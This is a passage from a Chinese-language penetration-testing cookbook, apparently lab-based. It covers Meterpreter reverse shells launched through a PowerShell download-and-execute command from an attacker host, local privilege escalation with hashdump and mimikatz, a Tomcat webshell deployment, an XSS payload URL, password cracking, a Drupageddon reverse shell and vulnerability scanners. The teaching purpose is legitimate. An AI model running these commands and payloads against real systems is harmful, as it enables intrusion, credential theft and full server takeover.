  2. 现在为 meterpreter 连接创建一个handler。在终端中打开msfconsole并执行以下命令,根据有效载荷调整参数:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.56.10
set lport 4443
show options
  1. 处理程序配置应该像以下截图一样。检查一切是否正确,然后执行处理程序(run);它将打开配置的端口并等待连接:

  1. 一旦处理程序运行,我们需要在服务器上执行有效载荷。为此,请进入 Web-shell,将程序设置为powershell.exe,参数设置为-noexit -c iex ((New-Object Net.WebClient).DownloadString('http://192.168.56.10/cutedolphin.ps1')),然后点击运行:

  1. 如果有效载荷成功执行并接收到连接,我们将看到我们的处理程序启动一个 meterpreter 会话。请注意会话分配的编号,此例中为1

  1. 当在 Windows 主机上运行 meterpreter 时,如果配置允许,我们可以使用getsystem命令轻松提升为 System。正如以下截图所示,这在此情况下不可行;我们还尝试了转储本地密码哈希,但没有成功。因此,我们获取系统信息,寻找提升权限的方法:

  1. 使用background命令返回 Metasploit 控制台,并将 meterpreter 会话保持在后台运行。

  2. 我们使用searchsploit命令,它显示与2008 R2匹配的漏洞非常少。只有一个是本地的,意味着它可以在现有会话中执行,如果我们尝试,它将无法工作,因为我们的目标已经打过补丁:

  1. 但我们知道在 Exploit-DB 中,Windows 2008 R2 的漏洞不可能只有六个。如截图所示,如果我们使用grepgrep "2008 R2" /usr/share/exploitdb/windows/local/*)查看漏洞文本,我们会发现更多:

  1. 现在我们需要选择一个适合我们配置的漏洞。一种相对高效的方法是使用 head 命令查看每个候选漏洞的前几行。例如,在截图中,我们查看漏洞编号为 40410 的前 20 行,可以看到它利用了一款名为 Zortam Mp3 Media Studio 的软件,而这个软件不太可能安装在我们的目标系统中。所以我们检查另一个漏洞:

  1. 我们继续查找,直到找到漏洞编号为 35101 的漏洞,它利用了一个 Windows 内部组件,并且已经证明在我们的目标系统上有效。它也是一个 Metasploit 模块,因此我们可以在 msfconsole 中找到它,并使用我们现有的 Meterpreter 会话来触发它。接下来的截图展示了一些关键点:

  1. 打开 msfconsole,搜索 TrackPopupMenu,这是漏洞名称的一部分。我们要找的是 2014 年的那个,windows/local/ms14_058_track_popup_menu

  1. 如下所示,加载并配置模块:
use windows/local/ms14_058_track_popup_menu
set payload windows/x64/meterpreter/reverese_tcp
set lhost 192.168.56.10
set lport 4444
set session 1

最终的漏洞配置应该如下所示:

  1. 运行漏洞并查看它如何获取新的 Meterpreter 会话:

  1. 从这个新会话中,我们可以验证它是否以系统身份运行(getuid)。我们可以转储本地用户的密码哈希(hashdump),加载像 mimikatz 这样的 Meterpreter 模块,这样就能从主机的内存中恢复明文密码(kerberoswdigesttspkg),并且可以执行许多其他 Windows 后渗透任务,如下所示:

它是如何工作的...

在通过 Web Shell 获得命令执行权限后,我们的第一步是利用这个命令执行能力将一个更高级的 Shell 上传到主机,这样我们就可以尝试权限提升漏洞。

首先,我们使用 msfvenom 准备了一个 metasploit 载荷并设置了其处理程序。然后我们使用 PowerShell 和它的 Invoke-ExpressionIEX)命令。这个命令接受一个字符串并将其作为脚本执行;我们传给它的参数是一个存储在我们服务器上的文件内容,这个文件通过 WebClient 对象及其 DownloadString 函数下载。这种方式可以直接将远程文件的内容传递给 IEX 执行,而不将其存储到磁盘上。这样可以避免大多数杀毒软件的反应,因为它们会对磁盘上的读写事件做出反应,而不是内存中的操作。

在使用高级 shell 后,我们发现快速的权限提升方法没有奏效,然后我们查看了 Exploit-DB,寻找一个本地漏洞以获取系统访问权限。我们找到的漏洞已经是 Metasploit 的一部分,所以我们只需加载它,并利用当前会话来触发它。这就是将第一个会话发送到后台并在漏洞配置中设置会话值的目的。选择一个 payload 后,我们设置了接收主机和端口(lhostlport)来进行反向连接,然后启动了漏洞利用。它成功了,返回了一个新的 meterpreter 会话,这次拥有系统权限。

另见

和 Unix 系统一样,pentestmonkey 也有一个小程序来评估 Windows 操作系统的配置,并找出可能的权限提升漏洞。这个程序叫做 windows-privesc-check.exegithub.com/pentestmonkey/windows-privesc-check/)。下一个截图展示了运行它的示例,只显示安全问题(在审核模式或 --audit 中),执行最基本的检查集(-a),仅显示当前用户可利用的结果(-c),并保存输出的三个文件—.html.txt.xml—带有前缀 privesc-check-o privesc-check):

以下截图显示了结果报告的 HTML 格式:

另一个非常有趣的持久性、权限提升和后期利用的选项是 Empire(github.com/EmpireProject/Empire)。它通过在被攻陷的主机上设置代理,发送信息并执行通过攻击机器上的监听器发送的命令。Empire 包含多个操作系统的模块,用于持久化(即使在重启或重启服务后仍保持对被攻陷主机的访问)、权限提升、侦察、横向移动、数据外泄,甚至恶搞和恶作剧。它不包括在 Kali Linux 的默认安装中,但可以从上述 URL 下载并安装。这是它的主界面:

使用 Tomcat 管理器执行代码

在第四章《测试认证和会话管理》中,我们获取了 Tomcat 管理器的凭据,并提到这可能导致我们在服务器中执行代码。在本教程中,我们将使用这些凭据登录管理器并上传一个新应用程序,允许我们在服务器内执行操作系统命令。

如何做到...

对于这个教程,我们回到我们的 OWASP BWA 机器 vm_1,并从已经知道 Tomcat 服务器凭据的地方开始:

  1. 访问http://192.168.56.11:8080/manager/html,当提示输入用户名和密码时,使用之前获得的用户名和密码——用户名为root,密码为owaspbwa

  1. 进入管理页面后,寻找 WAR 文件部署的部分,点击浏览按钮。

  2. Kali 中包含了一组 Web Shell,位于/usr/share/laudanum。进入该目录,选择/usr/share/laudanum/jsp/cmd.war文件:

  1. 加载完毕后,点击部署:

  1. 验证你是否有一个名为cmd的新应用程序,如下所示:

  1. 让我们试试,访问http://192.168.56.11:8080/cmd/cmd.jsp

  2. 如果一切顺利,你应该能看到一个带有文本框和发送按钮的页面。在文本框中尝试输入命令并发送,例如ifconfig

  1. 我们现在可以执行命令,但我们是哪位用户,拥有什么权限呢?尝试使用whoami命令:

我们可以看到 Tomcat 在该服务器上以 root 权限运行。这意味着此时我们已经完全控制了它,可以执行任何操作,例如创建或删除用户、安装软件、配置操作系统选项等。

工作原理...

一旦我们获得了 Tomcat Manager 的凭证,攻击流程就相当简单。我们只需要一个足够有用的应用程序来上传它。Kali Linux 默认包含的 Laudanum 是一个包含多种语言和类型的 Web Shell 的集合,支持 PHP、ASP、ASP .Net 和 JSP 等。对于渗透测试人员来说,什么比 Web Shell 更有用呢?

Tomcat 有能力接收以 WAR 格式打包的 Java Web 应用程序,并将其部署到服务器上。我们利用这个功能上传了 Laudanum 中包含的 Web Shell,上传并部署后,我们只需访问它,通过执行系统命令,发现我们在该系统中拥有 root 权限,因为服务器配置不当,Tomcat 是以 root 用户身份运行的。

使用字典通过 John the Ripper 破解密码哈希

在前面的章节中,我们从数据库中提取了密码哈希值;在渗透测试中,使用哈希字符串是最常见的查找密码的方法。为了发现真实的密码,我们需要对其进行破解,而由于哈希是通过不可逆算法生成的,我们无法直接解密密码。因此,有必要使用像暴力破解和字典攻击这样的较慢方法。

在本教程中,我们将使用 John the RipperJTR 或简称 John),最流行的密码破解工具,来恢复从 第六章《利用注入漏洞》中的逐步 SQL 注入教程中提取的哈希密码。

准备工作

正如本教程标题所示,我们将使用字典,也就是一个单词或可能的密码列表,来破解之前获得的密码哈希。Kali Linux 在 /usr/share/wordlists/ 目录中包含了多个字典文件。我们在本教程中将使用的是 RockYou,它默认以 GZIP 格式压缩。

要解压 RockYou 字典,我们首先需要进入 cd /usr/share/wordlists/ 目录,然后使用 gunzip 命令解压归档内容:gunzip rockyou.txt.gz。下一张截图演示了这个过程:

如何操作...

一旦我们有了要破解的哈希列表和字典,接下来可以进行操作:

  1. 尽管 John the Ripper 在接收输入方面非常灵活,但为了防止误解,我们首先需要以特定格式设置用户名和密码哈希值。创建一个名为 hashes_6_7.txt 的文本文件,每行包含一个用户名和密码哈希,用冒号(username:hash)分隔,如下所示:

  1. 一旦我们有了文件,可以打开终端并执行 john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes_6_7.txt 命令:

字典列表中有五个密码已被破解。我们还可以看到 john 每秒检查了 2,607,000 次比较(2,607 KC/s)。

  1. john 还可以应用修改规则,添加前缀或后缀,改变字母的大小写,并在每个密码上使用“leet speak”技术。我们可以尝试对尚未破解的密码执行以下命令:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes_6_7.txt --rules

我们可以看到规则已生效,并且我们找到了最后一个密码:

它是如何工作的...

John(以及其他离线密码破解工具)通过将列表中的单词(或它生成的单词)进行哈希并与要破解的哈希进行比较,当有匹配时,它就认为密码已经找到了。

第一个命令使用 --wordlist 选项告诉 John 使用哪些单词。如果没有提供,它将生成自己的列表进行暴力破解。--format 选项告诉我们用于生成哈希的算法是什么,如果省略该格式,John 会尝试猜测它,通常能取得不错的结果。最后,我们包含了包含哈希的文件。

我们可以通过使用 --rules 选项来增加找到密码的几率,因为它会应用人们在尝试创建更难破解的密码时常用的修改。例如,对于密码 word,John 会尝试以下几种变化:

  • Password

  • PASSWORD

  • password123

  • Pa$$w0rd

使用 Hashcat 通过暴力破解密码哈希值

近年来,显卡的发展迅速进步;它们现在所包含的芯片内部有数百或数千个处理器,并且所有这些处理器都可以并行工作。当将其应用于密码破解时,这意味着如果单个处理器每秒能计算 10,000 个哈希值,那么一块拥有 1,000 个核心的 GPU 可以达到 1000 万个哈希计算。这意味着破解时间可以缩短 1,000 倍甚至更多。

在本方法中,我们将使用 Hashcat 通过暴力破解哈希值。只有在你在具有 Nvidia 或 ATI 芯片组的计算机上安装了 Kali Linux 作为基础系统时,这才会有效。如果你在虚拟机上运行 Kali Linux,GPU 破解可能无法正常工作,但你可以将 Hashcat 安装在主机上。Windows 和 Linux 版本都有(hashcat.net/hashcat/)。

准备工作

你需要确保显卡驱动正确安装,并且 oclHashcat 与其兼容,因此你需要执行以下操作:

  1. 独立运行 Hashcat;它会告诉你是否有问题:hashcat

  2. 测试它支持的每种算法的哈希计算速率,可以使用基准模式:hashcat --benchmark

  3. 根据你的安装情况,Hashcat 可能需要强制与特定显卡兼容:hashcat --benchmark --force

如何实现...

我们将使用与上一个方法相同的哈希文件:

  1. 首先让我们破解一个单独的哈希值。取管理员的哈希值:hashcat -m 0 -a 3 21232f297a57a5a743894a0e4a801fc3。结果应该很快显示出来:

如你所见,我们可以直接从命令行设置哈希,并且它将在不到一秒钟的时间内被破解。

  1. 现在,为了破解整个文件,我们需要从文件中去除用户名,只保留哈希值,如下所示:

  1. 要破解来自文件的哈希,只需将前面命令中的哈希替换为文件名:oclhashcat -m 0 -a 3 hashes_only_6_7.txt。如下面的截图所示,使用旧款 GPU,Hashcat 在 10 分钟内即可覆盖一到七个字符的所有可能组合(每秒 688.5 百万个哈希计算),而测试所有八个字符的组合大约需要两个小时多一点。这对于暴力破解来说相当不错:

它是如何工作的...

我们在本方法中运行 Hashcat 时使用的参数是定义哈希算法的参数:-m 0指示程序使用 MD5 对其生成的单词进行哈希计算,以及攻击类型。-a 3意味着我们希望使用纯暴力破解攻击,尝试所有可能的字符组合,直到找到密码。最后,我们在第一个例子中添加了要破解的哈希,在第二个例子中添加了包含哈希集合的文件。

Hashcat 还可以使用字典文件并创建混合攻击(暴力破解加字典攻击),以定义要测试的字符集,并将结果保存到指定文件(它将结果保存到/usr/share/oclhashcat/Hashcat.pot)。它还可以对单词应用规则,并使用统计模型(马尔可夫链)来提高破解效率。要查看所有选项,请使用 --help 选项,如下所示:oclhashcat --help

第八章:使用自动化扫描器

本章内容包括:

  • 使用 Nikto 进行扫描

  • 自动化扫描时的注意事项

  • 使用 Wapiti 查找漏洞

  • 使用 OWASP ZAP 扫描漏洞

  • 使用 Skipfish 进行扫描

  • 使用 WPScan 查找 WordPress 漏洞

  • 使用 JoomScan 查找 Joomla 漏洞

  • 使用 CMSmap 扫描 Drupal

介绍

几乎每个渗透测试项目都必须遵循严格的时间表,这通常由客户的要求或开发交付日期决定。对渗透测试人员来说,拥有一个能够在短时间内对应用程序执行大量测试的工具非常有用,以便在规定的时间内识别尽可能多的漏洞。自动化漏洞扫描器是完成这一任务的理想工具。它们还可以用于寻找攻击替代方案,或者确保在渗透测试中没有留下明显的漏洞。

Kali Linux 包含了多个针对 Web 应用程序或特定 Web 应用程序漏洞的漏洞扫描器。在本章中,我们将介绍一些渗透测试人员和安全专业人员最常用的工具。

使用 Nikto 进行扫描

每个测试人员工具箱中必备的工具是 Nikto;它可能是世界上最广泛使用的免费扫描器。正如其官方网站上所述(cirt.net/Nikto2):

“Nikto 是一个开源(GPL)Web 服务器扫描器,对 Web 服务器执行全面的测试,涵盖多项内容,包括 6700 多个潜在危险的文件/程序,检查超过 1250 个服务器的过时版本,以及超过 270 个服务器的版本特定问题。它还检查服务器配置项,例如多个索引文件的存在、HTTP 服务器选项,并尝试识别已安装的 Web 服务器和软件。扫描项和插件会定期更新,并且可以自动更新。”

在本教程中,我们将使用 Nikto 来搜索 Web 应用程序中的漏洞并分析结果。

操作方法...

Nikto 是 Kali Linux 中默认包含的命令行工具;打开终端开始扫描服务器:

  1. 我们将扫描 Peruggia 漏洞应用程序,并使用nikto -h http://192.168.56.11/peruggia/ -o result.html命令将结果导出为 HTML 报告。输出将如下所示:

-h选项告诉 Nikto 扫描哪个主机,-o选项告诉它输出结果保存的位置,文件扩展名决定了文件的格式。在本例中,我们使用了.html来获得 HTML 格式的报告。输出也可以是 CSV、TXT 或 XML 格式。

  1. 扫描完成需要一些时间。当扫描完成后,我们可以打开result.html文件:

工作原理...

在本教程中,我们使用 Nikto 扫描了一个应用程序并生成了 HTML 报告。该工具还提供了其他选项来执行特定扫描或生成特定的输出格式。以下是一些最有用的选项:

  • -H:显示 Nikto 的帮助信息。

  • -config <file>:在扫描中使用自定义配置文件。

  • -update:更新插件数据库。

  • -Format <format>:定义输出格式;可以是 CSV、HTM、NBE(Nessus)、SQL、TXT 或 XML 等格式。当我们想将 Nikto 的结果作为其他工具的输入时,CSV、XML 和 NBE 等格式非常有用。

  • -evasion <technique>:使用一些编码技术帮助避免被 Web 应用防火墙和入侵检测系统检测到。

  • -list-plugins:查看可用的测试插件。

  • -Plugins <plugins>:选择在扫描中使用哪些插件(默认:全部)。

  • -port <port number>:如果服务器使用非标准端口(80443),我们可能需要使用 Nikto 并选择此选项。

自动化扫描时的注意事项

普通漏洞扫描器如 OpenVas 和 Nessus 通常通过扫描目标机器的开放端口,识别这些端口上运行的服务及其版本,且不会发送可能导致服务器中断的恶意负载。相反,Web 漏洞扫描器通过提交数据到 Web 表单和参数中,尽管这些扫描器经过彻底测试且它们的负载旨在确保安全,但此类数据仍然可能会危及应用程序的稳定性和信息完整性。因此,在渗透测试项目中使用这些工具时,我们需要特别小心。

在本教程中,我们将讨论在企业环境中对目标应用程序进行自动化测试之前需要考虑的一系列方面。

如何操作...

在为 Web 应用程序准备自动化扫描时,以下是一些关键的考虑事项:

  1. 始终优先选择测试环境而非生产环境,这样如果发生任何问题,真实数据不会丢失或损坏。

  2. 确保有一个恢复机制。应用程序的所有者应该采取预防措施,以便在出现不良结果时能够恢复数据和代码。

  3. 定义扫描范围。虽然我们可以直接对整个网站进行扫描,但建议首先定义工具的配置,避免扫描应用程序的敏感或不稳定部分,仅扫描与服务器架构和应用程序开发平台相关的模块。

  4. 了解你的工具。始终抽时间在实验室中测试工具,了解它们的功能以及它们可能对应用程序正常运行产生的影响。

  5. 保持工具及其模块的更新,以便结果与最新的漏洞披露和攻击技术保持一致。

  6. 在启动扫描之前,检查扫描器的参数和范围,以确保不会执行超出范围的测试。

  7. 保持扫描过程的全面日志。大多数工具都有保存其活动日志并发布发现报告的选项;始终使用这些功能,并以安全的方式存储日志。

  8. 不要让扫描器无人看管。虽然在扫描过程中不必一直盯着屏幕,但我们需要保持警觉,并定期检查扫描进度,随时准备在发现扫描可能导致服务器或网络问题时立即停止。

  9. 不要依赖单一工具。我们都有自己喜爱的工具,但需要记住,没有任何一款工具能够覆盖渗透测试中涉及的所有可能的替代方案,因此使用替代工具可以最大程度地减少误报和漏报的发生率。

它是如何工作的...

在这个示例中,我们展示了一些关键方面,帮助避免在对目标应用执行自动化扫描时造成信息损害和服务中断。

需要特殊措施的主要原因是,网络应用漏洞扫描器在默认配置下,倾向于爬取整个网站,并使用从爬取中获得的 URL 和参数继续发送负载和探针。在那些没有正确过滤接收数据的应用中,这些探针可能被存储在数据库中或被服务器执行,这可能会导致数据完整性问题、永久改变或损坏现有信息,甚至中断服务。

为了防止这些损害,我们推荐了一系列集中在准备测试环境、了解工具的工作原理、保持工具更新、仔细选择扫描对象并记录所有操作的措施。

使用 Wapiti 发现漏洞

Wapiti 是另一种基于终端的网络漏洞扫描工具,它向目标网站发送GETPOST请求,寻找以下漏洞(wapiti.sourceforge.net/):

  • 文件泄露

  • 数据库注入

  • 跨站脚本攻击 (XSS)

  • 命令执行检测

  • CRLF 注入

  • XML 外部实体 (XXE) 注入

  • 使用已知的潜在危险文件

  • .htaccess配置,可能被绕过

  • 存在泄露敏感信息的备份文件(源代码泄露)

在这个示例中,我们将使用 Wapiti 发现我们的测试应用中的漏洞,并生成扫描报告。

如何操作...

Wapiti 是一个命令行工具;在 Kali Linux 中打开终端,并确保在开始之前运行易受攻击的虚拟机:

  1. 在终端中,执行wapiti http://192.168.56.11/peruggia/ -o wapiti_result -f html -m "-blindsql"来扫描我们易受攻击的虚拟机中的 Peruggia 应用,输出以 HTML 格式保存在wapiti_result目录中,并跳过盲注 SQL 测试。

  2. 等待扫描完成并打开报告所在目录,然后打开index.html文件;接着,你会看到类似这样的内容:

在这里,我们可以看到 Wapiti 已经发现了 12 个 XSS 漏洞和五个文件处理漏洞。

  1. 现在,点击 Cross Site Scripting 查看漏洞的详细信息。

  2. 选择一个漏洞并点击 HTTP 请求。我们将选择第二个,并选择并复制请求的 URL 部分:

  1. 现在,我们将那个 URL 粘贴到浏览器中,并添加服务器部分(http://192.168.56.11/peruggia/index.php?action=comment&pic_id=%3E%3C%2F%3E%3Cscript%3Ealert%28%27wp6dpkajm%27%29%3C/script%3E);结果应如下所示:

结果我们确实发现了一个 XSS 漏洞。

它的工作原理...

我们跳过了这次配方中的盲 SQL 注入测试(-m "-blindsql"),因为我们已经知道这个应用存在漏洞。当它达到计算基于时间的注入时,触发了一个超时错误,使得 Wapiti 在扫描完成前就关闭了,因为 Wapiti 会多次通过注入 sleep() 命令来测试,直到服务器超过超时阈值。

此外,我们选择了 HTML 格式的输出(-f html),并将 wapiti_result 作为报告的目标目录;我们也可以选择其他格式,如 JSON、OpenVas、TXT 或 XML。

Wapiti 中的其他有趣选项包括:

  • -x <URL>:从扫描中排除指定的 URL;对于登出和密码更改 URL 特别有用。

  • -i <file>:从 XML 文件恢复之前保存的扫描。文件名是可选的,如果省略,Wapiti 会从 scans 文件夹中获取文件。

  • -a <login%password>:使用指定的凭证对应用进行身份验证。

  • --auth-method <method>:定义 -a 选项的认证方式;可以是 basicdigestkerberosntlm

  • -s <URL>:定义扫描开始的 URL。

  • -p <proxy_url>:使用 HTTP 或 HTTPS 代理。

使用 OWASP ZAP 扫描漏洞

OWASP ZAP 是我们在本书中已使用过的工具,用于执行各种任务,在它的众多功能中,包括了一个自动化漏洞扫描器。它的使用和报告生成将在本配方中详细讲解。

准备工作

在我们成功执行 OWASP ZAP 漏洞扫描之前,我们需要先爬取该网站:

  1. 打开 OWASP ZAP 并配置 Web 浏览器以使用其作为代理

  2. 导航至 http://192.168.56.11/peruggia/

  3. 按照 使用 ZAP 的蜘蛛程序 中的说明操作,见 第三章,使用代理、爬虫和蜘蛛程序

如何操作...

一旦你浏览完应用或运行了 ZAP 的蜘蛛程序,就可以开始扫描了:

  1. 转到 OWASP ZAP 的 Sites 面板,右键单击 peruggia 文件夹。

  2. 从菜单中,导航到 Attack | Active Scan,如下图所示:

  1. 一个新的窗口将弹出。此时,我们已经知道应用程序和服务器使用的技术,因此,进入“技术”标签(Technology),仅勾选 MySQL、PHP、Linux 和 Apache:

在这里,我们可以根据范围(Scope)(从哪里开始扫描,在哪些上下文中进行扫描等)、输入向量(Input Vectors)(选择是否测试GETPOST请求、头部、Cookie 和其他选项中的值)、自定义向量(Custom Vectors)(将原始请求中的特定字符或单词作为攻击向量)、技术(Technology)(执行特定技术测试)和策略(Policy)(为特定测试选择配置参数)来配置我们的扫描。

  1. 点击“开始扫描”按钮(Start Scan)。

  2. “主动扫描”标签将在底部面板中显示,扫描期间所做的所有请求都会显示在此。

  3. 扫描完成后,我们可以在“警报”标签页中查看结果,以下截图显示了该过程:

如果我们选择一个警报,可以看到请求和服务器返回的响应。这使我们能够分析攻击并确定它是否为真正的漏洞或误报。我们还可以利用这些信息进行模糊测试、在浏览器中重复请求,或进一步挖掘漏洞利用。

  1. 如同前面提到的工具一样,要生成 HTML 报告,请进入主菜单中的报告(Report),然后选择生成 HTML 报告(Generate HTML Report)。

  2. 一个新的对话框将要求输入文件名和位置。例如,设置为zapresult.html,完成后打开该文件:

它是如何工作的……

OWASP ZAP 具备执行主动和被动漏洞扫描的能力;被动扫描是 OWASP ZAP 在我们浏览、发送数据和点击链接时进行的非侵入式测试。主动测试则是使用各种攻击字符串针对每个表单变量或请求值进行攻击,以检测服务器是否以我们可以称之为脆弱行为的方式作出响应。

OWASP ZAP 拥有适用于多种技术的测试字符串;首先识别目标所使用的技术非常有用,可以优化我们的扫描并减少被检测到或导致服务中断的可能性。

这个工具的另一个有趣功能是,我们可以在同一个窗口中分析导致检测到漏洞的请求及其相应的响应,并且在检测到的瞬间就进行分析。这使我们能够快速判断它是否为真正的漏洞或误报,以及是否开发我们的概念验证PoC)或开始漏洞利用。

还有更多…

本书中我们也使用了 Burp Suite。Kali Linux 仅包括免费版,免费版没有主动和被动扫描功能。强烈建议购买 Burp Suite 的专业版,因为它比免费版提供了更有用的功能和改进,比如这些功能。

  • 被动漏洞扫描会在我们浏览网页时发生,Burp Suite 配置为浏览器的代理。Burp 将分析所有请求和响应,并寻找与已知漏洞对应的模式。

  • 在主动扫描中,Burp Suite 会向服务器发送特定的请求,并检查响应是否与某些漏洞模式匹配。这些请求是特别设计的,用于在应用程序存在漏洞时触发特定行为。

使用 Skipfish 扫描

Skipfish (code.google.com/archive/p/skipfish/) 是由谷歌创建并于 2010 年公开发布的;其创建者将其描述为一种主动的 Web 应用安全侦察工具,默认包含在 Kali Linux 中,且它不仅仅是纯粹的侦察工具。它是一个完整的漏洞扫描器。它的一些亮点包括:

  • 高速:它的请求速度可以达到每秒超过 400 次,并声称在高速局域网中可以达到超过 2000 次。

  • 它的命令行选项简单易用。

  • 它可以检测各种问题,从目录列出和其他信息泄露漏洞,到不同类型的 SQL 和 XML 注入。

在本食谱中,我们将看一个简单的例子,了解如何使用 Skipfish 并检查其结果。

如何操作...

在 Kali Linux 中安装的 Skipfish 已经可以直接使用。我们将用它扫描 Peruggia:

  1. 打开终端并执行skipfish -o skipfish_result -I peruggia http://192.168.56.11/peruggia/

  2. 将出现一条包含一些使用建议的消息;按 Enter 键或等待 60 秒,扫描就会开始。

  3. 扫描将开始,扫描统计信息会显示在屏幕上。Ctrl + C 可以随时停止扫描。扫描时,终端窗口会显示如下内容:

  1. 扫描完成后,打开报告。在我们的例子中,报告将位于skipfish_result/index.html,相对于我们运行 Skipfish 的目录。

  2. 在“问题类型概览 - 点击展开:”部分中,我们可以点击问题名称,查看每个问题的确切 URL 和有效载荷,显示如下:

它是如何工作的...

Skipfish 将首先通过爬取网站并可选地使用字典进行目录和文件名扫描来构建站点地图。然后,站点地图会通过多个安全检查进行处理。

在这个例子中,我们使用它扫描了我们的易受攻击虚拟机中的 Peruggia。为了防止它扫描整个服务器,我们使用了-I peruggia选项,该选项只扫描包含指定文本的 URL。我们还使用了-o选项来告诉 Skipfish 保存报告的位置;在扫描运行时,这个目录必须不存在。

Skipfish 的主要缺点是根据其 Google Code 页面,它自 2012 年以来没有更新,因此可能无法针对新技术和攻击向量。尽管如此,它仍然是一个非常有用的工具。

使用 WPScan 查找 WordPress 漏洞

WordPress 是全球使用最多的内容管理系统CMS)之一,甚至可能是最常用的。CMS 是一个应用程序——通常是一个 Web 应用程序——使用户可以轻松创建完全功能的网站,无需或只需少量编程知识。WPScan 是一个专门用于检测 WordPress 网站漏洞的漏洞扫描工具。

在这个实例中,我们将使用 WPScan 来识别安装在 OWASP BWA 虚拟机中的 WordPress 网站上的漏洞组件。

如何操作...

WPScan 是一个命令行工具;打开终端开始使用:

  1. 使用 wpscan http://192.168.56.11/wordpress/ 命令对我们的目标运行 WPScan;该 URL 是我们要扫描的 WordPress 网站的位置。

  2. 如果这是你第一次运行 WPScan,它会要求更新数据库,这需要互联网连接。在我们的实验室环境中,Kali Linux 虚拟机没有互联网连接,因此最好先更改其网络设置,更新我们使用的工具,并在完成后将其重新连接到实验室。要更新,只需在提示时回答Y并按Enter键。以下截图显示了预期的输出:

  1. 更新完成后,WPScan 将继续扫描目标网站。它将在终端中显示其发现的内容;例如,在以下截图中,我们可以看到它检测到 Web 服务器和 WordPress 版本,并且该特定版本存在若干漏洞:

  1. 通过关于现有漏洞的信息,我们可以跟踪参考资料并搜索已发布的漏洞利用工具;例如,如果我们搜索 CVE-2007-5106,这是用户注册表单中的 XSS 漏洞,我们会发现 Security Focus 上发布了一个漏洞利用:www.securityfocus.com/bid/25769/exploit

  2. 寻找其他漏洞并尝试利用 WPScan 识别的漏洞。

它是如何工作的...

WordPress 允许没有开发 Web 应用程序经验的用户创建自己的网站,用户可以加入由其他用户创建的插件,而这些插件并不需要经过与主 CMS 相同的质量保证和测试;这意味着,当其中一个插件或模块存在严重安全漏洞时,成千上万的用户可能已经在他们的网站上安装了易受攻击的代码,并且暴露于可能会危及整个服务器的攻击中。

在这个教程中,我们使用 WPScan 来识别旧版 WordPress 安装中的漏洞。我们首先更新了工具的数据库;这在连接互联网时会自动完成。完成更新后,扫描通过识别已安装的 WordPress 版本、用户和网站使用的插件继续进行;通过这些信息,WPScan 在其数据库中搜索已知的漏洞,并在终端显示结果。扫描完成后,我们查找了已识别问题的信息和漏洞利用。进一步利用这些漏洞的工作留给读者。

使用 JoomScan 查找 Joomla 中的漏洞

另一个在全球广泛使用的内容管理系统(CMS)是 Joomla。与 WordPress 一样,Joomla 基于 PHP,其目标是帮助没有技术知识的用户创建网站,尽管它可能不像 WordPress 那样用户友好,更适合用于电子商务网站,而非博客和新闻网站。

Kali Linux 还包含一个专门用于查找 Joomla 安装漏洞的漏洞扫描工具——JoomScan。在本教程中,我们将使用它来分析安装在我们易受攻击的虚拟机vm_1上的 Joomla 网站。

如何操作…

与 Kali Linux 中的大多数工具一样,JoomScan 是一个命令行工具,因此我们需要打开终端来运行它:

  1. 首先运行joomscan -h查看如何使用该工具及其选项,如下图所示:

  1. 现在我们知道需要使用-u选项,后面跟上我们想扫描的网址,我们还可以修改请求中的其他参数,如 cookies 和用户代理。我们将运行最简单的命令:joomscan -u http://192.168.56.11/joomla/

  2. JoomScan 将开始扫描并显示结果。如下面的截图所示,这些结果包括受影响的 Joomla 版本、漏洞类型、CVE 编号以及对渗透测试人员非常有用的 Exploit-DB 参考,如果有公开的漏洞利用可用:

  1. 当扫描完成后,JoomScan 将显示扫描报告存储的路径。此路径是相对于 JoomScan 安装路径的;在我们的例子中,报告保存在/usr/share/joomscan/reports/192.168.56.11/

  1. 我们可以打开给定目录并查看报告,该报告是 HTML 格式的,如下图所示:

它是如何工作的…

在本教程中,我们使用了 JoomScan 来识别脆弱安装中的漏洞。这个工具识别 Joomla 的版本和启用的插件,并将这些信息与其已知漏洞和漏洞利用的数据库进行对比。这个过程的结果显示在终端中,并以 HTML 格式保存报告。JoomScan 在扫描结束时会提供该报告的保存位置。

使用 CMSmap 扫描 Drupal

另一个流行的 CMS 是 Drupal,它也是开源的,并与前面提到的 CMS 一样基于 PHP。虽然它的使用范围不如其他 CMS 广泛,但根据其官方网站的数据(www.drupal.org/project/usage/drupal),它仍然占据了相当大的市场份额,超过 100 万个网站在使用它。

在本教程中,我们将安装 CMSmap,一个用于扫描 Drupal、WordPress 和 Joomla 漏洞的工具,并使用它来识别安装在 bee-box 中的 Drupal 版本的漏洞。找到相关的攻击向量后,我们将利用它并获得服务器上的命令执行权限。

准备工作

CMSmap 没有预装在 Kali Linux 中,也不包含在其官方软件库中;然而,我们可以很容易地从其 GitHub 库获取它。打开终端并运行git clone https://github.com/Dionach/CMSmap.git;这将把最新的源代码下载到CMSmap目录中。由于它是用 Python 编写的,因此不需要编译代码,直接可以运行。要查看使用示例和可用选项,请进入CMSmap目录并运行python cmsmap.py命令。此过程如以下截图所示:

如何操作...

一旦我们准备好运行 CMSmap,启动 bee-box。在这个例子中,它的 IP 地址是192.168.56.12

  1. 访问http://192.168.56.12/drupal/来验证是否有正在运行的 Drupal 版本。结果应该如下所示:

  1. 现在,启动扫描器针对站点进行扫描。打开终端,进入下载 CMSmap 的目录,并运行python cmsmap.py -t http://192.168.56.12/drupal命令。以下截图展示了结果应该如何显示:

我们可以看到一些漏洞排名较高(红色的[H])。其中之一是 SA-CORE-2014-005;通过快速的谷歌搜索,我们可以知道这是一个 SQL 注入漏洞,这个漏洞也被昵称为Drupageddon(恰好与我们的目标站点名称相同)。

  1. 现在,让我们看看是否有简单的方法来利用这个众所周知的漏洞。打开 Metasploit 控制台(msfconsole),搜索drupageddon;你应该能找到至少一个漏洞利用,如下所示:

  1. 使用multi/http/drupal_drupageddon模块,并根据场景设置选项,使用通用反向 shell。下一张截图显示了最终设置:

  1. 运行利用并验证我们是否有命令执行权限,如下所示:

工作原理如下...

在这个示例中,我们首先使用git命令行客户端从其 GitHub 源代码仓库下载了 CMSmap,使用clone命令创建了指定仓库的本地副本。安装完成 CMSmap 后,我们检查其是否准备就绪并查看了使用选项,然后针对我们的目标运行了它。

